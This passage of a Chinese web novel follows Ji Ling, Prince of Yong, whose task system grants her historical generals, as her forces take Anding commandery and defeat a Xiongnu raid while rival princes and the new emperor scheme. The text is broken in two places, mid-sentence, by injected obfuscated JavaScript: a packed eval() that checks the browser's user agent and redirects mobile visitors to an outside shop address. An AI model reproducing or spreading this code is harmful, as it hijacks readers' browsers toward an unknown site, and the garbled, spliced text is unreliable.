“你,你干什么?还不放开我!放手!”那人慌张地喊着。
“我这里不需要这种人,扔出去,给他二两银子让他自己走回家吧。”姬昤冷声道。
“你说什么?!”那人脸色十分难看,一边在妇好手中挣扎着一边骂道,“你个无知女娘,还不放开我!我可是建康吴家的人,你敢这样对我?!”
姬昤不语,安静地喝着杯里的米酒,妇好直接拎着人离开了军营,那人的咒骂声越来越远。
“将我们绑了来,又把人丢了出去,雍王这是耍我们玩呢?”有一人没好气地说道。
“请你们来自是看中了你们的能力,但我也不需要那般狂妄自大、眼中没有百姓的人。”姬昤解释道。
“那人我也看不上,眼睛长天上去了,空有一身才华却刚愎自用,真不知雍王你的属下是怎么把这种人和我划为一类的。”李观微语气有些不满,还瞪了眼霍去病。
霍去病就当没看见,安心吃自己的。
他只想着临跑前把太学聪明的学子们全给主公拐走,哪还有时间去调查都是些什么人?也是他大意了,下次g请人之前他一定先调查一番。
“各位请尽情享用今夜的美食,之后我会安排你们住下,给你们一个月时间,这段时间内若你们还是不愿留下那么我也会派人送你们回去,如何?这一月好吃好喝地让你们住下,你们也不亏什么,不如试试?”姬昤看向那群读书人。
赵徽之一听,直接抢了李观微的筷子吃了起来,嘴里还嘟囔着:“你不吃给我,我快饿死了。”
李观微哼了声:“雍王殿下,我这里缺双筷子,总不能让我手抓着吃吧?”
姬昤笑了笑:“来人,给李郎君送双新筷子。”
夜深了,姬昤回到姬府英兰苑写下一封信交给了月栀。
“琅琊王氏?主公为何突然给他们写信?”月栀不解地问。
姬昤微笑:“琅琊王氏双姝名气太大了,我也想见识见识。”
这时,一个仆从来报,说是霍去病有要事求见。
“奴婢告退。”月栀立马说道,然后退了出去,接着霍去病走进了屋内。
“拜见主公。”霍去病行礼道。
“不必多礼,去病深夜前来是有何要事要同我说?”姬昤询问。
霍去病脸上露出一个意味深长的笑容,接着从怀里拿出一个东西——用布包裹得严严实实的。
“什么东西?”姬昤好奇地看着那东西。
霍去病走上前,将东西放在了姬昤面前:“好东西,主公打开一看便知了。”
姬昤看霍去病神神秘秘的样子也不禁开始猜测,一边打开了布,看见里面东西的那一刻双眼瞬间瞪大。
“这,这,你……”姬昤不可思议地看着眼前之物,然后抬头看向霍去病。
霍去病笑容肆意:“臣先恭贺陛下!”
姬昤抓紧了椅子扶手,不禁咽了下口水。
霍去病竟然把这东西也一起给带来了……
45.拿下安定,匈奴再袭
“主线任务发布:
请宿主占领长安,时限半年。任务成功奖励兵家四圣:孙武、吴起、孙膑、尉缭,任务失败奖励随机归属敌方阵营。”
“主线任务发布:
请宿主占领整个雍州,时限两年。任务成功奖励战国四名将:廉颇、白起、王翦、李牧,任务失败奖励随机归属敌方阵营。”
“主线任务发布:
请宿主拥有兵力十万人,时限两年,当前人数:35320/100000。任务成功奖励人才大礼包:祖冲之、宋应星、黄道婆、贾思勰、刘徽、蔡伦、鲁班、扁鹊、张衡、李冰,春秋三杰:介子推、伍子胥、管仲,任务失败奖励随机归属敌方阵营。”
“支线任务发布:
请宿主获得民心支持十万人,时限三年,当前人数:21037/100000。任务成功奖励玄学大师:许负、袁天罡、李淳风、僧一行,任务失败敌方阵营获胜概率统一上升30%。”
“支线任务发布:
请宿主打败匈奴、鲜卑、羌胡等带有恶意的异族,时限十年。任务成功奖励抽奖次数一百次,任务失败之后三年内天灾频繁概率上升至90%。”
系统一下子发布了五个任务,姬昤感觉自己脑袋都听得晕乎乎的了,好在她就坐在书案前,于是她立刻提笔记下所有任务内容,虽说没有一模一样,但大差不差。
记录好所有任务,姬昤又扫了遍任务内容,不禁扬起了一个大大的微笑。
好系统,这么多人才,她仿佛看见了光明的未来,只不过……为什么她的卧龙凤雏还没来?难不成真的走丢了?
姬昤抓了抓下巴,很苦恼。
“咚咚咚”。
“主公。”是月栀。
“进。”姬昤收好记录的纸。
月栀推开门走进屋内,走到了姬昤身边:“主公,这段时日那群读书人都挺安分的,看样子已经没有那么抗拒留在这里了,只不过……”
“只不过什么?李观微?”姬昤反问,却是肯定的语气。
月栀连连点头:“没错,就是他!主公真是有先见之明,这个李观微确实如主公所言很闹腾,一连五日没一日安分的,哪怕只是逛粟邑县都能逛五日,且日夜不论!夜里他竟都不睡,说是自小便这样,我们的人劝他睡他就说主公是不是想赶他走了,我们的人便不敢说了。”
姬昤听着月栀语气里的委屈也知道她是受了气的,连忙安慰了几句,然后问道:“其他异常呢?他有没有什么不对劲的地方?还有那个赵徽之,他如何?”
月栀回答:“李观微并无异常,不过瞧他的闹腾程度,每日上房揭瓦的,好像身体挺康健的,不过聪慧也是极聪慧的,昨日有灯会,有许多猜谜的游戏,那李观微从头到尾全部猜了个遍,我们的人光是帮他拿东西都快拿不下了,东西全让他一个人赢完了!”
月栀接着又道:“至于那个赵徽之嘛……有些呆呆的,喜欢吃,我觉得他有种大智若愚的感觉,只是给人感觉蠢蠢的,其实心里小心思多着呢!”
姬昤微微勾唇:“继续盯着他们,尤其是这两人,争取半月之内就让他们决定留下来。”
“喏。”月栀应声。
军营。
军帐中。
“鹑觚县、朝那县、阴密县,鹑觚、朝那两地外已部署好兵力,一旦打下可直接攻打西南部的阴密县,主公放心,只需三日,臣定将三县拿下献给主公。”卫子夫念完信,脸上带着淡淡的笑意,“主公,去病这孩子少年心性,您且多给他些时日吧。”
“这是自然。不过我也相信他,他说三日,说不定两日就能拿下。”姬昤笑道,话语间都是对霍去病的信任。
“霍将军如此勇猛,怕是能一日拿下三城!”一个将领用着近乎崇拜的语气说道。
“那我猜半日!”又一人说道。
“你们都说完了我说几日啊?总不能三个时辰吧?”又一人说道,看着有些苦恼。
姬昤清了清嗓子,几人安静下来。
“今日我要同你们说一件事。”姬昤说着,众人安静看向她,她接着说道,“待攻下安定郡之后,我们便要攻打长安,长安一地非常重要,我们定要攻下此地,都听明白了吗?”
“喏!”众将士应声道。
一日之后,捷报传回,霍去病连拿三县大获全胜,士气高涨,且一路打向乌氏县、都卢县和安定县,临泾县县令是姬瑜,早就归顺姬昤,因此在霍去病攻打其他县时还提供了助力。攻打其余三县霍去病又花了两日,加起来不过三日,霍去病带兵直接拿下六县,至此,安定郡归于雍王姬昤名下。
粟邑县军营。
校场。
士兵们全部聚集在此,排列好方阵站好,而正中央站着的就是姬昤,在她身边是将领们,还有两人跪在姬昤跟前,男子赤裸着上半身,背上绑着荆条,女子跪在他边上。
“殿下,去病自作主张继续进攻,现下臣已带他来负荆请罪,请殿下开恩。”卫子夫神色严肃,说罢还瞪了眼身边跪着的霍去病。
“请殿下责罚!”霍去病感受着风中的寒冷,咬着牙喊了出来。
有许多人为霍去病求情,毕竟三日就拿下了安定郡,这个战绩换做是他们根本做不到,这样大的功劳怎么能罚呢?
但是妇好他们神色却淡淡的,并不觉得哪里不对。
卫子夫扬声道:“国有国法,家有家规,殿下给去病的指令是拿下鹑觚、朝那、阴密三县,若去病还想继续拿下剩下四县,应当先请示殿下,殿下并无指令去病便先行动,此乃违抗军令,请殿下责罚!”
“嗯……”姬昤话还未说出口,一个小兵慌慌张张地跑了过来,一个没刹住跪在了地上。
“殿下不好了,匈奴人打来了!”小兵满眼惊恐。
姬昤神色一凛,她看向还在地上跪着的霍去病:“你将功抵过的机会来了。”
紧接着,姬昤喝道:“卫青、霍去病听令!”
卫青从姬昤身后的将领队伍中走出,走到了姬昤面前,接着单膝跪地,抱拳:“臣在!”
霍去病:“臣在!”
姬昤看向匈奴的方向,露出一个残忍的微笑。
本来不想这么早解决你们的,先解决内忧再解决外患,结果你们非要闯过来,行吧,先解决你们。
霍去病和卫青这两员大将,打匈奴可是专业的。
粟邑县城墙之上,姬昤和一干将领看着下方——敌方匈奴人气势汹汹,带来的士兵一眼望不到头,己方卫青和霍去病二人带领一万五千兵马抗敌。
不是姬昤不给他们更多的人,她现在兵本来就少,这一下子打下了那么多地方也是需要兵力镇守的,一下子也没法抽调这么多人出来。
匈奴那边的将领姬昤没见过,但看起来和呼延豹长得有些像,姬昤猜测也许是他的兄弟。
“这么点人就敢跟我们打?看来你们跟的主子不行啊!”匈奴将领嘲讽道。
卫青神色温和,淡淡地笑了,刚想开口就听霍去病神态张扬地说道:“打你们,这点人绰绰有余!”
卫青不禁假咳了声,说道:“去病,不可如此,敌人亦是不可小觑,莫轻看了敌人。”
没成想对面的匈奴将领听了霍去病的话还没什么反应,听到卫青说的话火“噌”地一下就上来了,在他看来这两人你唱我和的就是在看不起他。
“待我打进粟邑把你们的主子抓起来玩弄,看你们还敢不敢这么跟我嚣张!”匈奴将领怒喝道,下一刻扬起手,高声喊道,“进攻!”
卫青和霍去病二人皆冷了脸,看向敌将的眼神都狠厉了不少。
城墙之上,姬昤忍不住掏了掏耳朵,看了下周围的属下:“他刚才说什么?要怎么样我?”
“他说要把主公抓起来玩弄!”常胜站在姬昤后面,悄咪咪地说道。
姬昤回头看了眼,常胜讪讪一笑,姬昤又回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570763|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过头看向已经和霍去病纠缠在一起的匈奴将领。
“真是好大的口气,怕是连城门都摸不到,还想抓我,嘁。”
“五招之内,他必败。”妇好站在姬昤身边,说道。
姬昤看了眼妇好,笑道:“看来你对去病很有自信。”
“这小子虽狂妄,但确实厉害。”妇好说道。
“你们觉得卫青如何?”姬昤又问身旁身后的一群将领们。
“我对卫将军并不了解,但他既是霍将军的舅舅,应当也很厉害吧?”一个将军猜道。
“你等下就知道卫将军的厉害了。”常胜给了他一个意味深长的眼神。
城门外,霍去病一个收手、闪身,抓起缰绳调转方向:“八百人跟我走!”
卫青和带着八百人远去的霍去病遥遥对视了眼,点了下头。
卫青长戟一横拦住了想要去追霍去病的敌将,他微微一笑:“你的对手是我。”
匈奴将领蔑视地扫了眼卫青:“你又算个什么东西,和我打,你配吗?”
“配不配的马上就能知道了。”卫青缓缓而言,眼神一变,手腕一转,长戟砍向敌将的脖子。
敌将一弯腰赶紧躲过,接着就和卫青打了起来。
其他士兵们也打得火热,你一刀我一刀,不知不觉中血已经染红了大地。
姬昤看着一个又一个他们这边的士兵死去,心像是被揪住了一般,可没办法,她不能心软,战争就是会死人的。
两刻钟后。
卫青用长戟架在敌将脖子上,划出一道血痕。
“允你死前留下姓名。”
“呼,呼延烈。”呼延烈颤抖着嗓音,看向卫青的眼神里都带着些惊恐,接着他看向城墙上的姬昤,死前终于记清了她的模样。
他来不及了,他没机会告诉单于了,大安的女王爷雍王根本不是什么简单角色,一定要……防着她!
此战,大获全胜!匈奴一万兵死伤过半,剩下人被俘虏,霍去病带领八百士兵还未归来不知所踪,姬昤却好像猜到了什么。
他这是想直指匈奴王庭,直接干掉匈奴单于。
城内。
卫子夫脸色有些难看,卫青刚打了胜仗,去病也刚在军营里那么多人面前负荆请罪,这才过去多久,又这样?
卫子夫偷偷瞥了眼姬昤的神色,却听姬昤说:“让我们静候霍将军佳音。”
“主公早就知道了?”卫子夫问。
姬昤面不改色:“去病早已和我说过,我自是知晓。”
卫子夫暗自松了口气。
城门大开,卫青带着将士们归来,身后押着大批匈奴俘虏,有很多脸上还带着不服,一些垂头丧气的像是认命了,还有一些竟然低声哭了出来。
姬昤带着众人微笑着等待卫青等将士们的归来,卫青下了马,走向姬昤,单膝跪地:“臣卫青不辱使命。”
姬昤上前一步扶起卫青,仰着头看着卫青:“做得很好,我就知道这对你来说轻而易举。”
卫青配合地低下了头让姬昤能摸到,姬昤愣了一瞬然后开心地摸了摸卫青的脑袋。
“臣不负主公期望,日后也定会为主公死而后已。”卫青语气温和,哪怕脸上带着敌人的血也给人一种亲切感。
“别说什么死不死的,好了,匈奴的事暂告一段落,你和将士们好好休息,待日后我登上那位置,定让你封侯拜相。”姬昤说道。
其实她这话也是说给其他人听的,告诉大家好好效忠她为她做事,日后定有他们的好处,人嘛,总得为点什么,她有的时候也得拿点东西出来诱惑诱惑他们,不能让大家心里什么期盼都没有。
卫青笑容温柔,扫了眼那些地方被打下后才跟着主公的将士们,他明白主公这话是说给他们听的。
“多谢主公。”他说。
“只是去病他还需要些时间。”他接着又道。
“无碍,我相信他。”姬昤。
46.长安,丢失的宝贝
匈奴俘虏们共有三千余人,其中一直叫嚣不服的被杀了,还剩下两千五百余人,剩下的俘虏还比较识相还算安分,不过姬昤可不会白养着这些俘虏,在匈奴人花钱赎他们之前,他们得在粟邑县干活,好好干的话每日还是有两餐饭吃的,不好好干的那就没办法了,只能饿着了。
李观微带着赵徽之依旧日常逛粟邑,这下他远远瞧见被监督着干活的匈奴俘虏们不由地驻足多看了会儿。
他微微侧脸,问身后看着他们的人:“这些俘虏都是那个叫卫青的大将军带回来的?”
“是。”其中一人简短地回答了声。
“听说这卫大将军是霍去病霍将军的舅舅,雍王麾下还有一女子是霍将军的姑母、卫将军的姐姐,听闻也是个有雷霆手段的女子,是吗?”李观微又问。
“嗯。”那人又是很简单地应了声。
李观微回过头看向他:“别这么见外啊,都一起待多久了,多说两个字能怎么的?”
跟着的人是姬昤一开始养的五百死士当中的,正是陶婉和苗小来二人,陶婉监视李观微,苗小来监视赵徽之。
陶婉神色不变,依旧冷冷的,她不说话,沉默回答了李观微。
“啧,冷冰冰的好没意思。”李观微嘀咕了句,又转回了脑袋继续看向那群正在干活的俘虏。
“李兄,我饿了,先回去吃饭吧?”赵徽之扯了扯李观微的袖子,脸皱在一起,另一只手捂着肚子。
李观微白了眼赵徽之:“吃吃吃,赵家怎么就出了你这么个只会吃的郎君!”
赵徽之有些委屈:“表兄,我真饿了,好想吃东西啊,回去吧,都逛了多久粟邑了,我早就逛遍了!”
李观微狠狠瞪了眼赵徽之:“闭嘴!在外不准喊我表兄!”说着又回头看了眼陶婉和苗小来,期望他们没有听见,结果两人就这么直勾勾地盯着他和赵徽之。
李观微无奈叹了口气:“走吧,回去吃饭。”
赵徽之露出心满意足的微笑。
陶婉和苗小来对视了眼,没有说话。
军营。
军帐中。
“长安恐怕没那么好打,那里的守军将领欲自立为王,前两日刚占了长安西北部的北地郡,这个郡不大,就两个县。”常胜面色严肃,说道。
“长安的那人我知道,梁敬元,景朝皇帝册封的三品平西将军,听说屠户出身,机缘巧合参了军,半年当上了千夫长,一年升至七品官,三年升至五品,五年升至三品,听闻他打仗很是勇猛,先帝创立安朝之处还特意把他这个前朝将领留了下来。”一人说道。
“梁敬元?他这么厉害吗?能让先帝特意留下他这个前朝之人。”姬昤疑惑。
那人点头。
“既如此,攻打长安之时就多加小心些。”姬昤说着看向身边的卫子夫,“我们现在有多少兵力?”
“除去去病带走的八百人,现下粗摸估计三万六千余人。”卫子夫回答。
姬昤微微挑眉:“又多了些?”
前几天还是三万五千余人,现在除去八百人都还有三万六千余人了。
卫子夫淡笑:“许是粟邑百姓们担忧主公,近来有许多男子参了军。”
姬昤叹了口气,眉宇间有些忧虑,从她开的酒楼驿馆里打探来的消息得知,不说新帝,虽然他缺了个重要的东西,但他现在名义上是安朝的皇帝,安朝兵力基本上都听他调动。也不说郁林王,封地偏远不好管,他现在能管好郁林郡的事就不错了。就说辽西王,他乃中宫嫡子,背后家族势力之旺,眼下已在辽西聚起五万兵马。再说他西南方的中山王,早就盘踞在中山,又有钱,据她的人打听,明面上中山王手底下已有八万兵马,并且还有众多世家大族的支持。再是涪陵王和广汉王,他们二人是拥有兵马最多的,手下兵马早已超十万,就连江阳王也有六七万的兵力。
而她姬昤,雍王,如今只有不到四万的兵马,是实力最弱的一个。
眼下又冒出来一个梁敬元,他既是前朝就留下来的大将军,手下势力定早已盘踞长安,就算她之后攻下了长安,光是拔他的势力都要费点劲。
果然,登向至高位的路果然没那么好走,如果没有系统任务成功奖励给她的这些文臣武将,她哪有那么容易就起兵成功并盘踞一方成为现如今八大势力之一?
唉。
“那梁敬元如今麾下兵马多少?”姬昤问。
“不过万人,远不如我们,但再给他一段时日的话就不一定了。”常胜回答。
“对了,最近吴常和罗则二人表现如何?可还行?”姬昤又问。
“吴常此人天生力大无穷,脑子也还算好使,若再给他一些时日定能成为主公麾下一员猛将。至于罗则么……他灵活性很强,臣觉得他更适合去轻骑兵、游骑兵的队伍或是做斥候,他更适合跟着霍将军,臣没法教他更好的。”常胜思索了番,缓缓回答道。
“嗯,知道了,待去病回来后将让罗则去他那报道吧。”姬昤点头。
如今吴常和罗则都只是百夫长,还不能入军帐一起谈论军务,所以她就问问他们的顶头上司常胜他们的情况。
“喏。”常胜应道。
接着,大家继续讨论如何攻打长安。
“要攻打长安,要先打下郑县和霸城,过了这两地才能直逼长安。”姬昤看着沙盘中说道。
“臣前几年和这个梁敬元交过手,臣不是他的对手,这次恐怕臣不能去了,去了也是送命涨他们志气。”之前说梁敬元情况的那将领不好意思地说道。
“嗯,我自然不会让你们去送死。”姬昤点了下头,然后接着说道,“这次攻打长安,我想……”
“主公,让臣去吧。”妇好开口说道。
“还有臣。”秦良玉也开口了。
姬昤抬头看向两人,其实她这次是想让卫青去的,现如今她麾下霍去病名声早已打出来了,卫青之前也小有一点名气,可以趁这次机会再响亮些,既然妇好和秦良玉自己提了出来,也罢,她麾下的女将也该在世人面前亮亮相了。
“好。”姬昤一口答应,“不着急这两日,我们好好部署部署,再过个六七日整军出发,届时我调给你们一万五千兵力,可够了?”
“足矣。”妇好回答。
秦良玉点头。
建康。
皇宫。
“回陛下的话,还未找到那个,那个东西。”小太监站着颤抖着,说完话后脑袋更垂了,腿也哆嗦得更厉害了。
昔日的庐陵王、如今的新帝坐在高位,双手抓紧了扶手,一道半透半实的帘子遮住了他的身体。
“那日霍去病闯进皇宫,绕了圈便直奔太学绑走了那些学子,朕不信他的目的只是那些学子。自他闯宫之后,那东西便丢失了,不是他抢的会是谁?找,继续找,找不到你就等着本朝第一例诛九族落在你们家吧。”新帝咬着牙缓缓说道,将愤怒和怨恨咬碎了吞下了肚子。
小太监猛地一哆嗦,当即就跪下了,连连磕头:“奴才一定尽力寻找!一定尽力寻找!还求陛下饶了奴才的家人们吧!”
“还有,传朕圣旨,反贼姬昤包庇罪臣霍去病,限七日内交出罪臣,否则……罪、无、赦!”新帝说话的声音越来越冷,话语里带的都是对姬昤和霍去病的不满。
太监心中苦,但他没法儿说出来。
还传旨?您之前让人家自焚于天以证清白,人照做了吗?还不是把您的圣旨当屁一样?人霍将军那么厉害,在先帝驾崩之后第一时间就投奔了人雍王,您这正儿八经的皇子人家都不帮却帮反王,您心里没点数吗?
可太监不敢说,他惜命。
“奴才遵旨。”他说。
“退
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583202|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下吧。”新帝。
“喏。”小太监应了声,起身弯腰慢慢退了出去。
接着,一个女人端着一碗粥走了进来。
“听闻陛下发了好大的火呢,吃点清淡的降降火气吧。”她姿态轻盈地走到了新帝面前,一只宛若无骨的纤纤玉手掀开了半边帘子,抬眸间眼波流转。
新帝瞥了眼身旁站着的年轻太监,年轻太监微微俯身,离开了屋内,此刻屋内只剩下了新帝和女人二人。
新帝从椅子上站起,一把拉过女人的手,女人及时稳住了端着的粥,将它放在了桌上,接着坐在了新帝的腿上,双手搂住了他的脖子,红唇在他的耳边吐出温热的气息。
新帝瞥了眼那晚可以说是寡淡的白粥——只是白粥,什么都没加,兴许加了点糖吧。他收回了眼神,一只手搂住女人的腰,一只手放在她的腿上。
“母后,你跟父皇那时……也是这般么?”新帝温热的唇落在柯柔云的脖间,气息喷洒弄得人痒痒的。
柯柔云歪了歪脖子,躲开那温热的气息,银铃般的笑声荡漾在屋内。
柯柔云一只手抚摸过新帝的脸,笑容妩媚:“那老东西我可不喜欢,浑身带着死气臭烘烘的,多跟他待一会儿我都想吐,不像你,还是你好。只不过,你想求娶‘王氏双姝’?真是让人嫉妒。”
新帝撩起柯柔云的一缕特意放下来的碎发放在鼻尖嗅了嗅:“不过赏她们脸面提了一嘴,竟敢拒绝我,真是不知好歹,不必提她们。我倒是想知道老七是谁的种?我可不信我那病入膏肓的父皇还有那能力。”
柯柔云轻吻了一下新帝的唇,接着在他耳边低声说道:“你猜。”
新帝轻笑了声:“我就知道,他长得太像我了。”
接着新帝又道:“母后,羌胡如今稳下来了,也是时候给我那些远在益州的叔祖们找点事做了,您说呢?”
柯柔云脑袋靠在新帝脖间笑着:“原来你这么喜欢这个调调,行,随你吧,我王兄那自有我去说,放心,会遂了你的意的。”
“就是那姬绥英,好生讨厌,一介女子,竟自立为王妄想称帝,真是痴心妄想!好在,她那边也是个不得安分的地。”新帝轻轻蹭着柯柔云的脑袋,闭着眼呢喃着。
柯柔云敛眸,继续笑着说道:“可是陛下,哀家可听说那姬绥英手下有不少能臣武将呢,她日后说不定真能成你最大的威胁呢。”
“不可能!”新帝一下子睁开了眼,喝道。
柯柔云的脑袋稍微远了些,待新帝冷静下来又靠了上去,她搂着新帝的脖子,娇声道:“或许呢?辽西王脾性温和,在民间的名声还不错,就是太软弱怂了些,不足为惧。郁林王他那封地太乱了,他目前尚且管不好自己的封地,更没精力来跟陛下争皇位,亦不惧。广汉王和江阳王虽兵强马壮,但是哀家背后还有羌胡呢,羌胡大军不会让他们安生的。至于中山王么,他有些难缠,他早年间笼络了太多士族,又有钱,北边鲜卑人也有辽西王挡着,他的威胁太大了。”
柯柔云顿了顿,接着说道:“至于哀家为何说姬绥英不容小觑,那霍去病你也是知道的,太厉害了,竟早已归顺姬绥英,不惜一直蛰伏还趁机绑走了太学的学子们,再说她姬绥英本人,当初她可是一箭射杀了匈奴的呼延豹,那呼延豹何许人也?不说是匈奴顶尖的猛将,但也是说得上名号的,她一介女郎竟能一箭射杀他,这还能小看吗?更何况,哀家可听说那姬绥英在粟邑的名声极好,百姓们对她是拥护至极,宛若供奉神明。陛下,能起兵成功的反王,不论男女,可都要提防。”
新帝握住了柯柔云的手,眼神逐渐冰冷。
是啊,还撺掇那罪臣抢走了他最重要的宝贝,怎么能小觑呢?
柯柔云垂眸看着新帝的脸色渐渐冷了下来,她的嘴角上带着若有若无的笑意。
再乱点吧,越来越好。
47.各方势力
辽西郡。
“王,王爷,王爷恕罪,草民不是故意的,要不,要不草民把您这衣服带回去洗干净了再还给您?”一个穿着朴素简单的中年男人看着眼前锦衣上的一片污渍,满脸歉意地说道。
辽西王低头看着那片污渍,无所谓地笑了笑,温声道:“无碍,是我没注意撞了你,不是你的错。”
中年男人看着一脸温和的辽西王,心中愈发愧疚:“王爷,是草民,草民没长眼弄脏了您的衣服,草民给您洗干净吧?”
辽西王笑着摇了摇头:“真的无事,不用了。”
“你老小子也不看看王爷那衣服都是用的什么料子,还你洗?给王爷洗坏了怎么办?”一个妇人扯了把男人的胳膊,说着还瞪了他一眼,接着满怀歉意地对辽西王说道,“王爷,都是我家这口子的错,这样吧,我们,我们赔您钱吧?这,这衣裳一看就是好料子做的,咱们虽然穷,但不能做那不道德的事,就让咱们赔钱吧。”
男人面色微变,有些难看,但也觉得自己妻子的话没错,只得在一旁连连点头。
来往的路人瞧见这一幕也没有过多停留,他们的神色看起来挺稀松平常的。
辽西王无奈地笑了:“真的不必了,你们做些小本生意也不容易,况且真的不是你们的错。我正好想来吃你们家的馄饨,不如免费让我吃两次就算赔我了?”
妇人大手一挥,豪气道:“王爷来吃馄饨怎能收钱呢?更何况我们还弄脏了您的衣服,您随便吃,想吃多少就吃多少!”
“王爷您快请坐,我这就去做两碗热乎的馄饨,您和这位大人一起吃点!”男人看了也辽西王和他身侧后的侍卫,说着便立刻转身去煮馄饨。
妇人带着辽西王和他的侍卫坐下,认真仔细地擦干净了他面前的桌面,脸上洋溢着热情的笑容:“二位稍等,馄饨很快就好,保管你们吃了不够吃,吃了还想吃。”
辽西王笑着点了点头。
不一会儿,馄饨煮好端上了桌子,辽西王先是喝了口汤,然后赞叹道:“还是你们家的馄饨最好吃,这口热汤我日日都念着。”
“王爷喜欢就好,一点俗物而已,王爷喜欢我们便日日做了给您送去!”妇人说道。
“太客气了,不必如此辛苦的,我若想吃了就来,也不耽误你们做生意。”辽西王说道。
妇人和男人对视了眼,笑容都有些不好意思,都连连应了声“好”。
回到辽西王府,辽西王身后的侍卫走得贴近了些辽西王,低声说道:“云昭公主传信回来了。”
辽西王闻言快速走回了自己的书房看了信,看着胞妹在信中的诉说不禁酸涩十分。
辽西王不禁握紧了拳头,猛地砸向桌面。
“王爷息怒!”侍卫一惊,连忙说道。
“昭儿她过得一点儿都不好,一点儿都不好!安承,他害死父皇,逼死我母后,还将我的妹妹昭儿嫁到了鲜卑,他该死!”辽西王压着嗓子怒喝道,眼里的愤怒像火一样喷涌而出。
“王爷,如今鲜卑那边确实因为云昭公主嫁过去后安分了许多,您也少了许多威胁……”侍卫想了想,还是开口劝了句。
辽西王冰冷的眼神射向侍卫,他咬牙说道:“难道昭儿就该受苦吗?”
侍卫身子一紧,垂眸低头:“属下不是这个意思,只是……现在时刻艰难,云昭公主的牺牲会获得回报的,若是您因此慌了神被那反贼压了过去,您若是因此失去了反击的机会与那个位置失之交臂,那……那云昭公主才真是完了。”
辽西王咽下所有愤恨,冷静了会儿,缓缓吐出一口气:“我知道了。”
郁林郡。
郁林王把自己关在了书房内,他双手撑在桌子边缘,眉宇间尽是忧愁和愤懑。
父皇啊父皇,你真是好偏的心啊,都是你的儿子,怎么还不一样对待呢?郁林王?呵!这个狗屁地方他该怎么待下去?到处都是树,这个“烟瘴之地”就这么赐给他做封地了,真是好“舍得”啊!还有这里都没多少人,那群土著一个个说着他听不懂的话嚣张至极,根本不把他放在眼里,他拿什么来管?他还怎么争?怎么争!
“王爷,不好了,那群刁民又来了!”一个侍卫跑进了屋内,一边喊道。
郁林王气愤一扫,花瓶掉落杂砸碎在地上成了一片一片的。
“又怎么了?那群刁民又想做什么?有完没完了?!”他怒道。
侍卫也是满脸苦恼地说道:“那群刁民非说咱们的马车撞死了他们的鹅,嚷嚷着让我们赔钱,不赔就把,就把,就把……”
郁林王听着侍卫一句话都说不完整更生气了:“就把什么?你舌头让他们拔了?一句话都说不完?!”
侍卫心里委屈,接着说道:“他们说不赔钱就把郁林王府的牌匾拆了卖钱!”
一股火窜上了郁林王的脑袋直让他发晕,他忍不住扶住了桌面稳住身子,侍卫也赶紧上前,一边询问着他有没有事。
郁林王抬起一只手制止侍卫过来,他咬着牙说道:“拿二两银子给他们,让他们不要再来了!”
侍卫没动。
“还愣着做什么?还不快去!”郁林王看见那双脚还站在那儿没动,一抬头瞧见侍卫根本没走,于是喝道。
侍卫一脸苦涩:“王爷,他们要十两,二两根本不够。”
“刁民!刁民!刁……”郁林王倒吸一口怒气,一个没稳住,竟直接晕了过去!
“王爷!王爷!”市委连忙上前晃了晃倒地郁林王的身子,大喊着。
中山郡。
“报!”一小兵大喊着跑进军帐中。
一个容貌冷峻的男人抬起头望去,露出了一只伤了的、横着几道伤疤的眼睛,此人正是中山王。
小兵单膝跪下,抱拳说道:“王爷,雁门郡已全部拿下!”
中山王嘴角微勾,昂了下脑袋,声音沙哑:“赏。”
小兵满脸喜悦:“多谢王爷!”说完接着起身退了出去领赏。
军帐内一片欢声笑语,恭贺声此起彼伏。
中山王抬手,众人没了声音全部安静下来。
“此次拿下雁门是大家的功劳,待会儿本王吩咐下去准备宴席,今夜,不醉不归!”中山王看着大家,剩下一只完好的眼睛里带着浓浓的笑意,说完后便哈哈大笑起来。
其余将领们一同笑了起来。
渐渐的,笑声停下,中山王又道:“听闻那位雍王拿下了安定郡,诸位有何高见啊?”他凛冽的目光扫向众人。
“嘁!不过一介女子,全靠手底下的人才碰巧拿下了安定郡,不足为虑!”一个将领满不在乎地说道,眼里都是对姬昤的瞧不上。
“就是!一介女娘就该嫁人好好相夫教子,没事学男人做什么?还自立为雍王,狗屁的雍王!”又一人嘲讽道。
中山王扫了眼众人,又问:“你们都这么觉得吗?”
众人面面相觑,大多都点头应和了之前两人说的话,但也有人谨慎开口说道:“臣以为这雍王不容小觑,她怕是会成为我们最大的对手。”
此话一出,有几人直接笑了。
“老黄,你想啥呢?你媳妇是个凶悍的你怕也就算了,怎么如今一个小女娘你也怕了?我记着这个姬绥英好像才十六七岁吧?不成气候!”一人指着他口中的“老黄”嘲笑道。
“就是,小姑娘也怕,真是年纪越大胆子越小了!”又一人嘲笑。
老黄皱了皱眉,眉宇间满是忧虑:“她是女子没错,可她能起兵成功并接连占了冯翊郡和安定郡就证明她不是个草包,既如此就会成为我们的敌人,任何敌人都不容我们小觑,我们应当谨慎。现如今八方势力争天下,能叫得上名号的我们都该当心。”
有几个将领还想说什么,中山王瞥了他们一眼,他们闭嘴了,紧接着只见中山王略显恭敬地看向身边的一个男人。
“卧龙先生,您如何看?”他问。
那人正是卧龙诸葛亮。
